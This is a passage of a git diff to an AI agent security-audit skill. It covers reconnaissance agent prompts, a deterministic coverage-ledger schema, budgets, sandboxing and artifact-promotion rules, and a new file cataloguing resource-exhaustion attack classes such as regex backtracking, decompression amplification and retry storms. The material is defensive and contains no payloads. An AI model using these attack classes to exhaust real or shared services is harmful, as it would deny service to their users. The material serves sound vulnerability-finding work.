plugins/dependencies/CI, cloud events/IAM selectors, model context/tool arguments, mobile/deep-link/webview, and local IPC. +For each surface, follow major transformations, stored or derived copies, and security-relevant sinks. Record source-visible limits and parallel paths to the same effect. +Return repository-relative paths and line numbers. Be complete, but do not execute or send inputs. ``` -**Agent 1c: Input surface inventory** +**Agent 1d: Local execution and deployment visibility** + +```text +Read tests, build definitions, manifests, packaging, and maintained environment overlays. Return: +1. Small offline tests or existing fixtures that could validate trust boundaries with dummy data inside the required OS-enforced sandbox. +2. Processes that could use an isolated loopback network namespace without external or shared dependencies. +3. Commands that would fetch dependencies, publish artifacts, contact paid/provider APIs, or affect shared state; mark them prohibited for this run. +4. Deployed controls and attachments that source cannot establish and therefore require needs_validation if decisive. +5. The final active source path for each deployment mode only where the repository selects it deterministically. +6. Whether the local platform can enforce an empty allowlisted environment, no external network, read-only target/toolchain mounts, scratch-only writes, and explicit CPU, memory, process, file-size, disk, and wall-clock limits. Missing controls block target-controlled execution. +7. Whether trusted parent-side code can promote predeclared scratch files with path-confined no-follow descriptor traversal, nonblocking regular-file checks, no-follow traversal of every destination parent, exclusive regular-file destination creation, and explicit per-file and cumulative size bounds. Missing promotion controls block use of scratch files as evidence. ``` -Explore the codebase at . Produce a complete inventory of where external input enters the system: -1. Network-facing surfaces (HTTP endpoints, gRPC services, WebSocket handlers, TCP/UDP listeners, etc.) — list each with method/verb and purpose -2. File-based input (file uploads, config file parsing, log ingestion, import/export, etc.) -3. IPC and inter-service input (message queues, shared memory, Unix sockets, environment variables, CLI arguments) -4. User-generated content surfaces (anywhere users provide content that is stored and later rendered, served, or processed) -5. External integrations (OAuth, webhooks, third-party APIs, plugin loading, dynamic code execution) -6. All places where input reaches dangerous sinks (SQL/query builders, HTML/template output, file paths, shell commands, deserialization, eval, dynamic imports) -Return specific file paths. Be exhaustive. + +Add focused reconnaissance agents for materially distinct deployment modes or subsystems that these four do not map. Do not silently omit them: if the budget gate in `SKILL.md` blocks a focused agent, launch nothing for it, seed the unmapped area as a `deferred` ledger unit with reason `budget_cannot_reserve_critics_and_validation`, and disclose the gap in the report. + +## Prior-run input + +Before selecting work, the parent reads every available prior `coverage-ledger.json` and `findings.json` for the same repo: + +- Compare the source locations, controls, conditions, and source-derived identity for every prior record and unit against the current source. +- Carry an unchanged prior `confirmed` record into the current candidate set, with the same fingerprint, only when its relevant source, conditions, and qualifying evidence still apply. Link it to a current `planned` unit with `prior_status: "prior_confirmed_same_source"` and put only that root cause on the hunter exclusion list. The Phase 3 verifier that re-verifies the carried record becomes that unit's assignment owner; its source re-check is the unit's first check and moves the unit to `candidate` with the carried fingerprint. +- Build a current planned `prior_confirmed_changed_source` revalidation unit when any relevant source or condition changed. Do not exclude that root cause from hunting or assume the prior verdict still applies. +- Build current work units for every prior `needs_validation`, `deferred`, `blocked`, `out_of_scope`, and changed-source unit. These states are priority input, never deduplication or suppression keys. +- Carry a still-blocked prior `needs_validation` record with the same fingerprint only after current source supports its trace. Link it to a current `planned` unit with `prior_status: "prior_needs_validation"`; the record keeps the unresolved blocker. The Phase 3 verifier that re-checks the carried record becomes that unit's assignment owner; its re-check is the unit's first check and moves the unit to `candidate` with the carried fingerprint. Include the record in final verification. +- Treat prior rejected records as stale claims unless current evidence changes the failed trace or missing condition. An unchanged rejection suppresses only that exact claim, not review of the coverage unit. +- Record missing or incompatible ledgers instead of treating them as empty coverage. + +State paths and source refs used in `run-metadata.json`. Summarize only the coverage consequences in `architecture.md`. + +## Architecture summary and companion selection + +The parent synthesizes `/architecture.md`, with a hard cap of about 1,000 words. Include: + +1. Product, principals, normal authority, and protected resources. +2. The comparable-software baseline from Agent 1a, when one is source-grounded: what security trade-offs the comparable accepts. Use it to calibrate effort and severity, never to dismiss a demonstrated finding; if the comparable shares a defect pattern that has mattered in practice, that strengthens the finding. Omit this line when no meaningful comparable exists. +3. Tech stack, source-visible deployment paths, and offline build/test limits. +4. Entry surfaces and the important source-to-sink or lifecycle paths. +5. Trust boundaries and the strongest source-visible control on each. +6. Repository-relative starting paths. +7. Prior coverage gaps, changed-source and blocked revalidation targets, and same-source confirmed exclusions. +8. A short companion-selection summary derived from [ATTACK-CLASSES.md](ATTACK-CLASSES.md): selected files and the source-visible boundaries that require them. + +Keep the assignment-level ordinary block, selected companion blocks, and excluded blocks with reasons in each ledger unit, not in `architecture.md`. This keeps the architecture cap valid for large runs and makes the exact hunter prompt map machine-checkable. + +Do not select a companion file merely because the language or dependency name appears. Select it because reconnaissance found the trust-sensitive boundary described by its `When to use this file` section. Do not exclude a visible boundary just because another agent will review a related class. + +## Deterministic coverage ledger + +The parent writes `/coverage-ledger.json` as a top-level JSON array. Derive one unit for every material combination of entry surface, trust boundary, subsystem, and applicable ordinary or companion attack class at the granularity the run profile sets (`quick` uses one all-in-scope subsystem identity; `deep` adds lifecycle modes). For a scoped run, seed in-scope surfaces for assignment and retain discovered excluded surfaces as `out_of_scope` units so later full runs can turn them into current work. + +Each dimension has a human label and a stable source-derived value in `canonical_refs`. Use the same canonical reference for the same source object across runs even if its display label changes. Suitable references include a repository-relative entry path plus exported scope, a route or message identity defined in source, the source control that defines a boundary, a repository package path, and the exact attack-class block reference. A block reference is `FILE.md#` plus the exact class name as written in bold or as a heading in that file — a stable identifier matched against the file text, not a rendered HTML anchor. For companion section blocks, use the heading text before any parenthetical qualifier (for example `Core discipline`). Do not derive references by lowercasing or slugging display labels. + +Derive `coverage_id` without lossy slugs: + +1. Require every reference to be Unicode NFC with valid scalar values, visible content, no control, format, line/paragraph separator, or default-ignorable code point, and no surrounding whitespace. +2. Encode its UTF-8 bytes with RFC 3986 percent encoding: leave only `A-Z a-z 0-9 - . _ ~` unescaped and use uppercase `%HH` for every other byte. +3. Join encoded `surface`, `boundary`, `subsystem`, and `attack_class` references with `::`; append encoded `lifecycle` when present. + +Use the fixed canonical value `profile/quick/all-in-scope-subsystems` for the quick profile's coarsened subsystem dimension. Do not include wave number, agent, verdict, severity, or line number in a reference or ID. Sort units lexicographically by `coverage_id` before each assignment. Fail on every duplicate ID. If duplicate IDs have different semantic fields, treat that as a canonical identity collision; never merge or silently overwrite them. The validator also rejects one semantic tuple represented by different canonical references. + +Each unit records: + +```json +{ + "coverage_id": "...", + "canonical_refs": { + "surface": "src/router.ts#POST /users/:id", + "boundary": "src/authz.ts#requireOwner", + "subsystem": "packages/api", + "attack_class": "ATTACK-CLASSES.md#Access control" + }, + "surface": "...", + "boundary": "...", + "subsystem": "...", + "attack_class": "...", + "starting_paths": ["repo/relative/path"], + "ordinary_attack_class_block": "ATTACK-CLASSES.md#Access control", + "selected_companion_blocks": ["FILE.md#section"], + "excluded_blocks": [{"block": "FILE.md#section", "reason": "..."}], + "prior_status": "new|prior_confirmed_same_source|prior_confirmed_changed_source|prior_needs_validation|prior_deferred|prior_blocked|prior_out_of_scope|prior_covered_same_source|prior_covered_changed_source|prior_rejected_claim_changed|none", + "attempts": [], + "wave": 1, + "status": "planned", + "agent_id": null, + "reviewed_paths": [], + "local_checks": [], + "result_fingerprints": [], + "unresolved": [] +} ``` -Collect all three agents' outputs and synthesize them into `/architecture.md`: -- 1-2 page structured summary covering application type, tech stack, trust model, input surfaces, and baseline comparable -- Include the key file paths from all agents — these become the starting points for Phase 2 -- This document is injected verbatim into every Phase 2 agent prompt +When `lifecycle` is material, add both `canonical_refs.lifecycle` and a human `lifecycle` field. `ordinary_attack_class_block` is null only when no ordinary block applies. The selected companion list includes each applicable class plus its companion `Core discipline`, `Universal moves`, and `Validation rules`; `excluded_blocks` records every considered but unselected block and the source fact that excludes it. + +The parent may add bookkeeping fields but keeps the semantic fields above stable. In `prior_status`, `new` marks a surface first seen in this run when compatible prior ledgers exist; `none` marks a unit seeded when no compatible prior ledger is available. Prior `deferred`, `blocked`, `out_of_scope`, and changed-source units initialize as current `planned` work when now in scope. A prior same-source covered unit remains visible in the current ledger; assign changed source, important lifecycle paths, and exact conflicts first, then use the coverage critic to decide whether it needs another pass. + +`attempts` is an append-only archive for evidence-bearing assignments that a coverage critic reopens. Before reassignment, append the prior unit's exact `wave`, `status`, `agent_id`, `reviewed_paths`, `local_checks`, `result_fingerprints`, and `unresolved`, plus the critic's source-backed `reassignment_reason`. Only `blocked`, `covered`, and `candidate` states can be archived. Archived attempts retain the same state and evidence invariants as live units, use strictly increasing waves below the current wave, and retain their producing owners and artifacts. The next assignment increments `wave`, uses a fresh owner, and starts with empty live evidence. If the profile or budget prevents another assignment, increment `wave` and use live `deferred` state with null owner, empty evidence, and the stop reason. Never copy an archived owner's checks or artifacts into the live state. A later live terminal state contains only the new attempt's evidence; the archive remains unchanged. + +Enforce this state table exactly: + +| Status | Unit `agent_id` | `reviewed_paths` / `local_checks` | `result_fingerprints` | `unresolved` | +|---|---|---|---|---| +| `planned` | null | empty | empty | empty | +| `not_applicable`, `out_of_scope`, `deferred` | null | empty | empty | nonempty reason | +| `in_progress` | canonical owner | empty | empty | empty | +| `blocked` | canonical owner | both nonempty owned partial evidence | empty | nonempty blocker | +| `covered` | canonical owner | both nonempty | empty | empty | +| `candidate` | canonical owner | both nonempty | nonempty | optional | + +Canonical agent IDs match `^[a-z0-9][a-z0-9_-]{0,63}$` and are not Windows device names. Lowercase is mandatory, so one ledger cannot contain case-fold aliases. The unit `agent_id` records the assignment owner. Every check records its own `agent_id` and nonempty `reviewed_paths`; the unit-level `reviewed_paths` is exactly their union. A source-only check uses `artifact: null`. A local check requires a regular file promoted only by trusted parent-side code under exactly `agents//artifacts/`. This lets hunter and verifier checks coexist in one unit. Scratch paths, output-root files, symlinks, special files, and another check owner's artifacts are not evidence. + +The ledger is the coverage claim. An architecture summary, agent count, or generic "auth reviewed" sentence is not coverage evidence. Phase 2 closes units only from the paths and checks in a hunter's structured result. -If Phase 1 agents reveal the codebase is larger or more complex than expected (e.g., plugin system, multi-tenant architecture, complex auth chains, multiple deployment targets), launch additional `research` agents to map those areas before proceeding. The quality of Phase 2 depends entirely on the quality of Phase 1. +Run `node /validate-coverage-ledger.cjs /coverage-ledger.json` after seeding, after every parent update, and before Phase 6. The validator rejects input beyond 5 MiB, 64 nesting levels, 10,000 units, 1,000 entries in a nested collection, or 500,000 traversed values, and caps reported validation errors at 100. In practice the 5 MiB byte limit holds roughly 2,000-5,000 realistic units, so it binds before the 10,000-unit cap. Fix every error before assigning work or making a coverage claim. diff --git a/.agents/skills/security-audit/RESOURCE-EXHAUSTION-AND-AVAILABILITY.md b/.agents/skills/security-audit/RESOURCE-EXHAUSTION-AND-AVAILABILITY.md new file mode 100644 index 0000000..6cbbd1e --- /dev/null +++ b/.agents/skills/security-audit/RESOURCE-EXHAUSTION-AND-AVAILABILITY.md @@ -0,0 +1,78 @@ +# Resource Exhaustion and Availability Hunting + +#### When to use this file + +Reach for this file when untrusted requests, messages, files, tenant state, or agent work can consume CPU, memory, disk, connections, worker slots, paid APIs, or queue capacity, or can deadlock/crash a shared service. This domain distinguishes a source-reviewable availability vulnerability from a general performance issue. Never validate by stressing a shared or live service. + +Use `MEMORY-SAFETY-AND-BINARY.md` for memory-integrity defects and `PROTOCOLS-RPC-AND-MESSAGING.md` for broker delivery logic. A reachable fatal error belongs here for shared impact even when the underlying parser is covered elsewhere. + +## Core discipline (include in every agent prompt for this domain) + +``` +- Require an input-to-cost path, a missing effective bound, and impact on another user, shared service, safety function, or operator-owned spend. Self-limiting work in the requester's own process is not a service vulnerability. +- A missing rate limit is not enough. Check body/message/file caps, concurrency, queues, deadlines, database constraints, upstream gateways, and per-tenant quotas before calling a path unbounded. +- Do not run stress, saturation, or production tests. Use asymptotic analysis, small boundary fixtures, mocked paid calls, strict local resource limits, and deterministic cancellation tests. +- State attacker cost, service work, persistence, scope, and recovery. One bounded input with superlinear or persistent shared effect is materially different from sustained volume. +- Use `confirmed` for source-visible bounds failures demonstrated safely. Use `needs_validation` when upstream caps, deployed topology, autoscaling, paid quota, or recovery behavior is outside the repository. +``` + +## Computational amplification attack classes (subagent_type: `general`) + +**Superlinear parsing, matching, or evaluation** +Small accepted input drives catastrophic regex backtracking, nested parsing, recursive validation, symbolic evaluation, graph traversal, template expansion, or adversarial sort/hash behavior. Derive accepted depth/cardinality and complexity, then demonstrate a bounded growth curve locally. + +**Decompression and representation amplification** +Compressed, sparse, nested, aliased, or encoded input expands far beyond the checked transfer or file size. Verify limits after every expansion and across parser stages, including archives, images, fonts, structured documents, and protocol compression tables. + +**Database and downstream query amplification** +A small request creates broad scans, pathological joins, fan-out, unbounded sort/aggregation, or many downstream calls because query depth, filter cardinality, pagination, or expansion fields are not bounded. Confirm authorization does not intentionally permit the same resource scope. + +## Resource accumulation attack classes (subagent_type: `general`) + +**Unbounded buffering and cardinality** +Bodies, out-of-order streams, uploads, sessions, unique cache keys, metrics labels, log fields, subscriptions, or pending jobs accumulate without per-item and aggregate limits. Find cleanup and expiration on disconnect, timeout, cancellation, and partial parse. + +**File descriptor, handle, and temporary-resource leaks** +Malformed or canceled work misses cleanup and retains sockets, files, database cursors, timers, subprocesses, temporary files, or object references. Confirm the leak repeats through bounded local iterations and affects a shared pool. + +**Detached work after cancellation** +Client timeout, disconnect, canceled job, or failed authorization returns control but leaves database, model, network, or worker work running. Trace cancellation and deadline propagation through every layer. + +## Quota and scheduling attack classes (subagent_type: `general`) + +**Pre-authentication work imbalance** +Expensive parsing, key lookup, cryptography, decompression, or external requests happen before authentication and the earliest size/rate gate. Compare minimal requester effort to shared service cost and check upstream limits. + +**Quota-accounting scope and reset gaps** +Accounting uses attacker-influenceable IP, route, tenant, key prefix, task ID, or other dimension, allowing one principal's work to escape its intended budget or consume another principal's allocation. Review integer overflow, distributed races, retries, reconnects, and account switching. + +**Worker, pool, and priority starvation** +Low-priority or attacker-controlled jobs hold shared locks, workers, database pools, event-loop turns, or scheduler priority needed by unrelated users. Require a path that bypasses queue/concurrency fairness or retains a slot beyond its deadline. + +## Failure and recovery attack classes (subagent_type: `general`) + +**Reachable fatal error or deadlock** +An untrusted input reaches `panic`, abort, fatal assertion, unhandled exception, process exit, lock cycle, or infinite loop in a shared process. Confirm supervisor scope and whether one worker or the whole service becomes unavailable. A restarted isolated worker may reduce impact but does not erase the defect. + +**Retry storm and fail-open amplification** +Timeouts, dependency errors, partially processed messages, or health-check failures trigger synchronized or unbounded retries without jitter, ceilings, circuit breaking, or deduplication. Verify one bounded failure source can create persistent aggregate work. + +**Poison-record and head-of-line blocking** +One malformed record or message repeatedly fails at the front of a shared queue, partition, startup scan, migration, or recovery loop. Review skip/quarantine policy, offsets, and whether other tenants share the blocked unit. + +**Unsafe recovery and capacity rollback** +A restart, restore, fallback, or cleanup path rebuilds unbounded state, ignores current quotas, or restores the input that immediately repeats failure. Recovery correctness is part of availability. + +## Universal moves (apply across the above) + +- Build an input-to-resource table: earliest accepted size/cardinality, work before auth, downstream fan-out, persistence, shared pool, limit and cleanup owner, recovery. +- Compare aggregate limits with per-object limits. Ten thousand valid one-byte items may evade a per-message cap while exhausting tenant-wide or process-wide state. +- Validate only in an isolated fixture with strict CPU/memory/time limits and small growth points. Mock external and paid calls and stop once the missing bound or cancellation is observable. + +## Validation rules (apply before reporting ANY finding here) + +1. Name untrusted input, requester work, service amplification or retained resource, shared blast radius, and recovery. Missing limits without concrete shared impact are hardening. +2. Confirm no source-visible upstream, parser, queue, tenant, or framework bound prevents the path. Unknown deployed controls require `needs_validation`. +3. For superlinear behavior, establish the accepted complexity and bounded local growth. For leaks, show repeatable retention after cleanup should occur. For fatal paths, identify process/supervisor isolation. +4. Prioritize by low requester work, unauthenticated reachability, cross-tenant scope, persistence, and poor recovery; do not validate with availability impact. +5. Return `confirmed` only with safe local proof and meaningful shared effect. Return `needs_validation` with the exact upstream limit, topology, quota, or recovery observation an owner must check. diff --git a/.agents/skills/security-audit/SKILL.md b/.agents/skills/security-audit/SKILL.md index 3484ac8..d504be7 100644 --- a/.agents/skills/security-audit/SKILL.md +++ b/.agents/skills/security-audit/SKILL.md @@ -1,108 +1,181 @@ --- +description: Finds, validates, prioritizes, and describes fixes for source-grounded vulnerabilities in a codebase. Use when the user asks for a security audit, security review, or pen test of code, or to find vulnerabilities in web apps, APIs, services, CLI tools, libraries, or daemons. +metadata: + github-path: skills/security-audit + github-ref: refs/heads/main + github-repo: https://github.com/cloudflare/security-audit-skill + github-tree-sha: ad987de538e528a3e57b057018a662b7cbdac180 name: security-audit -description: Security audit of a codebase — web apps, APIs, services, CLI tools, libraries, daemons, and more. Use when asked to find security bugs, do a security review, audit for vulnerabilities, or pen-test the code. Focuses on exploitable issues with real impact, not theoretical concerns or industry-standard behavior. --- - # Security Audit -You are a security auditor. Your job is to find **exploitable vulnerabilities with real impact**. +Find vulnerabilities that violate a real trust boundary, then give owners the source evidence, safe reproduction, priority, and smallest effective fix. This is a defensive, source-first workflow. A candidate without a concrete affected principal, resource, or security outcome is not a confirmed finding. ## Platform terminology -This skill is agent-neutral. In the methodology: +This skill is agent-neutral: + +- **Parent** is the agent that coordinates the run and owns shared state. +- **Task tool** is the platform's delegation or sub-agent mechanism. +- **`research` agent** is a delegated agent for focused source exploration and factual verification. +- **`general` agent** is a delegated agent for broad investigation and bounded local execution. +- **`subagent_type:`** in a heading names which of these two delegated agent roles runs that work. + +Use equivalent platform capabilities while preserving role, write-isolation, prompt, and independence boundaries. + +## Setup and execution boundary + +Resolve before reconnaissance: + +- **Skill directory**: the absolute directory containing this `SKILL.md`. +- **Target**: the absolute repository root under review. +- **Repo name**: a stable repository identifier from the directory or local Git remote. +- **Output directory**: a new writable directory outside the target, defaulting to `~/security-audit-skill//run-`, where `` is the next unused integer. Use a directory inside the target only when the user explicitly selects it and the parent verifies that version control ignores the whole directory. Otherwise stop and request an external path. +- **Source ref**: the reviewed commit and whether the worktree is dirty. Do not treat unreviewed generated or modified files as another revision. + +Source inspection is read-only. Run target-controlled builds, tests, processes, browsers, emulators, fuzzers, and fixture processing only inside an OS-enforced sandbox that provides all of these controls: + +- no external network; use only an isolated loopback namespace when the check needs local client/server traffic; +- an empty environment populated from an explicit allowlist with safe values, with scratch-local `HOME`, temporary directories, and caches; +- a read-only target and toolchain, with the target-controlled process able to write only inside its assigned `scratch/` directory; and +- explicit low CPU, memory, process, file-size, disk, and wall-clock limits. + +The agent, outside the target-controlled process, may make a disposable source copy in `scratch/` when a build must write beside source. Only trusted parent-side code may promote the minimum non-secret result to retained `artifacts/` using the procedure under Write isolation. Never expose the output directory (other than the agent's own assigned `scratch/`), another agent's directory, the host home directory, credentials, sockets, or shared services to target code. Do not install dependencies or let builds fetch them. Use only tools and dependencies already available locally. If every control cannot be enforced, do not execute target code: retain a `needs_validation` record with the missing sandbox capability as a blocker and a safe validation plan. + +Use dummy principals, fixtures, and secrets. Do not probe deployed endpoints, external services, shared infrastructure, production identities, other users' data, or live control planes. Do not test availability against a live or shared process, publish artifacts, alter releases, spend paid API quota, or continue beyond the minimum local effect needed to establish a defect. If the decisive fact is outside source or the sandboxed fixture, retain a `needs_validation` record. + +### Write isolation + +The parent creates and is the only writer of shared run files: + +- `run-metadata.json` +- `architecture.md` +- `coverage-ledger.json` +- `findings.json` +- `REPORT.md` +- `FINDINGS-DETAIL.md` +- `NEEDS-VALIDATION.md` + +Each hunter or verifier receives a unique root under `/agents//`, with separate `scratch/` and `artifacts/` directories. Canonical agent IDs match `^[a-z0-9][a-z0-9_-]{0,63}$` and must not equal a Windows device name such as `con`, `prn`, `aux`, `nul`, `com1` through `com9`, or `lpt1` through `lpt9`. Lowercase IDs prevent case-fold collisions. The agent and every target-controlled process may write only to `scratch/`; retained `artifacts/` is parent-owned, is never exposed to the sandbox, and is writable only by trusted parent-side promotion code. Agents may not change shared files, target source, retained artifacts, or another agent's directory. Do not use `/tmp` or the host home directory as a writable fallback. + +Before execution, the parent opens and retains trusted, non-inheritable directory descriptors for the agent's `scratch/` and `artifacts/` roots, and records an allowlist of expected scratch-relative artifact files plus explicit per-file and cumulative byte limits. Never pass those descriptors to the agent or sandbox. After the sandbox and all its processes terminate, trusted parent-side code promotes each allowlisted file separately: + +1. Validate the declared relative path: reject absolute, empty, `.`, `..`, or symlinked components. +2. Walk each parent component from the retained scratch-root descriptor with no-follow directory-relative operations; never reopen by path. +3. Open the leaf no-follow and nonblocking. +4. Verify with `fstat` that it is a regular file with link count exactly one and within the recorded per-file and cumulative byte limits. +5. Enforce those limits again while reading from that descriptor. +6. Copy exactly the verified size, repeat `fstat`, and reject a changed identity, type, link count, or size. +7. For the destination, walk every parent component from the retained artifacts-root descriptor with no-follow directory-relative operations; require each existing component to be a real directory, and create any missing directory exclusively before reopening and verifying it no-follow. +8. Create the leaf exclusively without following links, verify that the opened destination is a regular file with link count exactly one, and copy from the verified source descriptor without reopening either path. +9. Use equivalent race-safe APIs on non-POSIX systems. +10. Never recursively copy or glob scratch, extract an archive into artifacts, or open or promote a symlink, FIFO, socket, device, directory, hard-linked file, changing file, or file that exceeds its bound. +11. If any check is unavailable, cannot be enforced, or fails, discard the scratch entry; if it is decisive evidence, retain `needs_validation` with the exact promotion blocker. + +[HUNTING.md](HUNTING.md) and [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) carry this procedure as one identical fenced block for hunter and verifier prompts; it states the same rules in the same order as this list. + +For a reproduced check, record the command, exact test input, sandbox limits, and only the allowlisted environment variable names plus safe non-secret values needed to reproduce it. Never capture or copy the ambient environment, inherited variables, credential values, authentication state, or unrelated host paths. Launch from an empty environment rather than trying to redact one after execution. + +Before delegation, the parent writes `run-metadata.json` with at least `run_id`, `repo`, `target`, `source_ref`, `profile`, `scope_paths`, `budget` (null if unset), `execution_policy: "sandboxed-source-and-local-only"`, selected companion files, prior-run paths, shared-file owners, and `run_status: "in_progress"`. Update metadata only when those facts change; candidate state belongs in the coverage ledger and `findings.json`. + +## Coverage and prior runs + +No one pass is complete. Build a deterministic coverage plan before hunting and update it after every agent result. [RECONNAISSANCE.md](RECONNAISSANCE.md) defines the stable coverage units and [HUNTING.md](HUNTING.md) defines coverage-critic waves. The parent alone updates the ledger. + +If prior runs exist, read every compatible `coverage-ledger.json` and `findings.json` before planning the current run: + +1. Compare the relevant current source with each prior record and unit. A prior source ref alone is not evidence that a path is unchanged. +2. Carry a prior `confirmed` record into the current candidate set only when its relevant source and conditions are unchanged and its evidence still meets the current contract. Link it to a current ledger unit seeded `planned`, preserve its fingerprint, exclude only that carried root cause from hunters, and send the carried record through the current final verification path; the Phase 3 verifier that re-checks it becomes that unit's assignment owner and moves it to `candidate`. +3. When relevant source for a prior `confirmed` record changed, create a current planned revalidation unit. Do not put that record on the hunter exclusion list. It remains confirmed only if current independent validation establishes the current path and result. +4. Make prior `needs_validation`, `deferred`, `blocked`, `out_of_scope`, and any changed-source unit current work. A still-external `needs_validation` record may be carried only after the current source trace is checked and linked by fingerprint to a current `planned` unit whose verifier re-check supplies its owner and evidence; the record keeps the unresolved blocker. These prior states never suppress a current unit. +5. A prior same-source covered unit may inform priority, but it remains visible in the current ledger. A prior `rejected` record suppresses only the unchanged failed claim, not coverage of its unit; changed evidence creates current work. +6. Read the prior profile and scope. A prior `quick` or scoped ledger contributes only its recorded evidence and gaps, never an implied "rest is fine." -- **Task tool** means the coding agent's delegation or sub-agent mechanism. -- **`research` agent** means a delegated agent optimized for focused codebase exploration and factual verification. -- **`general` agent** means a delegated agent that can investigate broadly and spawn focused research agents. -- **`subagent_type`** means the equivalent delegated-agent role supported by the current platform. +If no prior ledger exists, say so in the final coverage statement. Never imply that one run exhausts the target. -Use the platform's equivalent capabilities while preserving the specified roles, parallelism, prompts, and independence boundaries. +## Run profiles and scope -## Setup +Pick a profile during Setup — from the user's request, or by proposing one from the target's size and stakes — and record it in `run-metadata.json` (`profile`, `scope_paths`). State both in the report. The default is `standard`. -Before starting, establish two paths: -- **Target**: the codebase to audit (from the user's request or the current working directory) -- **Output directory**: where all audit artifacts go. Ask the user if not specified, or default to `~/security-audit-skill//run-` where `` is the next unused integer (check what exists with `ls`). Create it if it doesn't exist. This ensures multiple runs against the same repo produce separate results. +- **`quick`** — a bounded pass for small targets, re-runs, or a fast first look. Coarsen ledger units to surface × boundary × attack class (subsystem uses the fixed canonical `profile/quick/all-in-scope-subsystems` identifier), run exactly one hunter wave followed by exactly one final coverage-critic pass, and use one fresh verifier per candidate for both candidate validation and final record verification. Do not launch a follow-up hunter wave: record the critic's accepted discoveries and reassignments as `deferred`. +- **`standard`** — the workflow as written. +- **`deep`** — for high-stakes or large targets. Split ledger units per subsystem and lifecycle mode, run critic waves to a clean pass, keep candidate validation and final record verification as separate fresh agents, and give `prior_covered_same_source` units an independent second pass. -All files written during the audit go in the output directory: -- `architecture.md` — Phase 1 output, fed into Phase 2 agent prompts -- `REPORT.md` — human-readable report (Phase 4) -- `FINDINGS-DETAIL.md` — detailed data flows for MEDIUM+ findings (Phase 4) -- `findings.json` — machine-readable structured output (Phase 5) +A **scoped run** audits a subset: named paths, one subsystem, one companion domain, or the diff between two source refs. Seed ledger units only for in-scope surfaces and record everything else as `out_of_scope` — never as `covered`. A scoped or `quick` run must present itself as partial coverage. -Subagents (Phases 1, 2, 3, 6) do NOT write files — they return results to you via the Task tool. You are responsible for writing all files to the output directory. +Profiles change breadth and redundancy, never the evidence bar. Do not scale away the candidate gate, the source/local execution boundary, `needs_validation` discipline, schema validation, or independent verification of `confirmed` records. -### Coverage and prior runs +### Cost budget -Each audit run explores different code paths depending on which agents find what and where they dig. No single run finds everything. Testing shows the best single run finds roughly half the total vulnerabilities across multiple runs. +The ledger makes spend countable: one unit is roughly one hunter assignment, and one surviving candidate is one or two verifier assignments depending on profile. When the user sets a budget — or the parent proposes one for a large target — record `budget` in `run-metadata.json` as a maximum number of agent invocations across all phases. -**If prior runs exist** for the same repo (check `~/security-audit-skill//`), read their `findings.json` files before starting Phase 2. Use them to: -1. **Skip known findings** — don't waste agents re-discovering the same status bypass. Mention prior findings in the report but focus hunting effort on new ground. -2. **Target gaps** — if prior runs focused heavily on injection and auth, weight this run toward business logic, creative attacks, and the wildcard agent. If prior runs missed public endpoints, focus there. -3. **Resolve disagreements** — if prior runs gave conflicting verdicts on the same finding, validate it definitively. +Apply the strict budget gate before launching any reconnaissance agent. Reserve the four baseline reconnaissance calls, one final post-wave critic for `quick` or one post-wave plus one distinct final-clean critic for `standard`/`deep`, and at least one verifier call. Add focused reconnaissance only after repeating this gate for each extra call. If the requested budget cannot fund that minimum, launch no agent: ask for a larger budget, narrower scope, or different profile. If the request remains unchanged, set `run_status: "incomplete"` with `incomplete_reason: "budget_cannot_fund_reconnaissance_and_reserves"` and report that no audit pass ran. -Include a brief summary of prior runs in the architecture summary so Phase 2 agents know what's already been found. +Spend it in this order: -**If no prior runs exist**, note in the report that coverage improves with additional runs and recommend the user run the audit again to catch findings this run may have missed. +1. Count reconnaissance, every post-wave critic, and the separate final-clean critic as agent invocations. +2. **Reserve critics and validation before hunting.** For `quick`, reserve its one post-wave final critic. Before every `standard` or `deep` hunter wave, reserve one immediate post-wave critic plus one distinct final-clean critic. Also reserve verifier cost from the profile (about 1 or 2 agents per expected candidate; when in doubt reserve 30% of the balance after critic reservation). Never assign hunters into either reserve. +3. Assign hunters to units in priority order until the hunting allowance is spent. Spend the reserved post-wave critic immediately after that wave; keep the final-clean and validation reserves intact. +4. Before a later wave, reserve its new post-wave critic again. If the remaining budget cannot cover the required critic calls and validation reserve, launch no hunters from that wave, mark its planned units `deferred` with reason `budget_cannot_reserve_critics_and_validation`, and use the retained final-clean critic to record the resulting gap. -## Core Principles +Before wave 1, update the pre-recon estimate with seeded units, implied hunter count, mandatory critic calls, validation reserve, and whether the remaining budget covers the plan. If it clearly cannot, say so and propose either a tighter scope or a coarser profile instead of silently thinning evidence. If later facts consume the required final-critic reserve, launch no hunters, mark all planned work deferred, set the run incomplete with reason `critic_budget_exhausted`, and make no complete-coverage claim. -### Only report what you can exploit +A strict total-agent budget can still be exceeded by an unexpectedly large candidate set or by a material Phase 5 replacement that needs another independent verifier. If the remaining budget cannot validate every candidate, stop hunting, validate candidates in fingerprint order while the budget permits, and set `run_status: "incomplete"` plus `incomplete_reason: "validation_budget_exhausted"`. Keep each unvalidated fingerprint linked to a `candidate` ledger unit with that unresolved reason. Do not put an unvalidated candidate in `findings.json`, relabel it `needs_validation`, or report the run as complete. Phase 6 may produce a partial report only if its first section states that candidate validation is incomplete and lists the affected fingerprints and units. Never exceed a user-set strict budget silently. -Every finding must have a concrete attack scenario: who is the attacker, what do they do, and what do they get? "An attacker could theoretically..." is not a finding. "Send this request, get this result" is. +## Core principles -### Confirm dynamically when you can +### Require a boundary and result -This is a source-first audit, but a claim you can execute beats one you can only argue. Where the target is locally buildable — a parser, a library, a CLI, a native component — build and run it: reproduce the crash, run the payload, diff the two parsers on the same bytes. Better still, **extract the suspect code into a minimal standalone harness** and test the hypothesis in isolation — fuzz the one function, feed it the crafted input, watch what it does. Where confirmation needs infrastructure you don't have — a proxy chain, a live cache, production auth — you cannot confirm from source alone: mark it "requires deployment testing" and do not report it as confirmed. Dynamic evidence is what resolves the memory-safety and request-framing classes that static reading leaves ambiguous. +For every candidate, name the lower-trust principal, accepted input or action, intended control, crossed boundary, affected principal or resource, and concrete observed or owner-observable result. Do not elevate a missing best practice, guessed deployment behavior, generic parser crash, or self-impact into a security finding. -### Determine the baseline dynamically +### Use bounded local evidence -In Phase 1, identify what this application is and what comparable applications exist. Use those comparables to calibrate -- not to dismiss findings, but to focus effort. If the comparable has the same pattern and it's been exploited there, that's a STRONGER finding, not a weaker one. If the comparable has the same pattern and nobody's ever exploited it in 20 years, you should understand why before reporting it. +Static analysis establishes the source path. Sandboxed local tests resolve behavior when all execution controls are available: a minimal function harness, existing unit 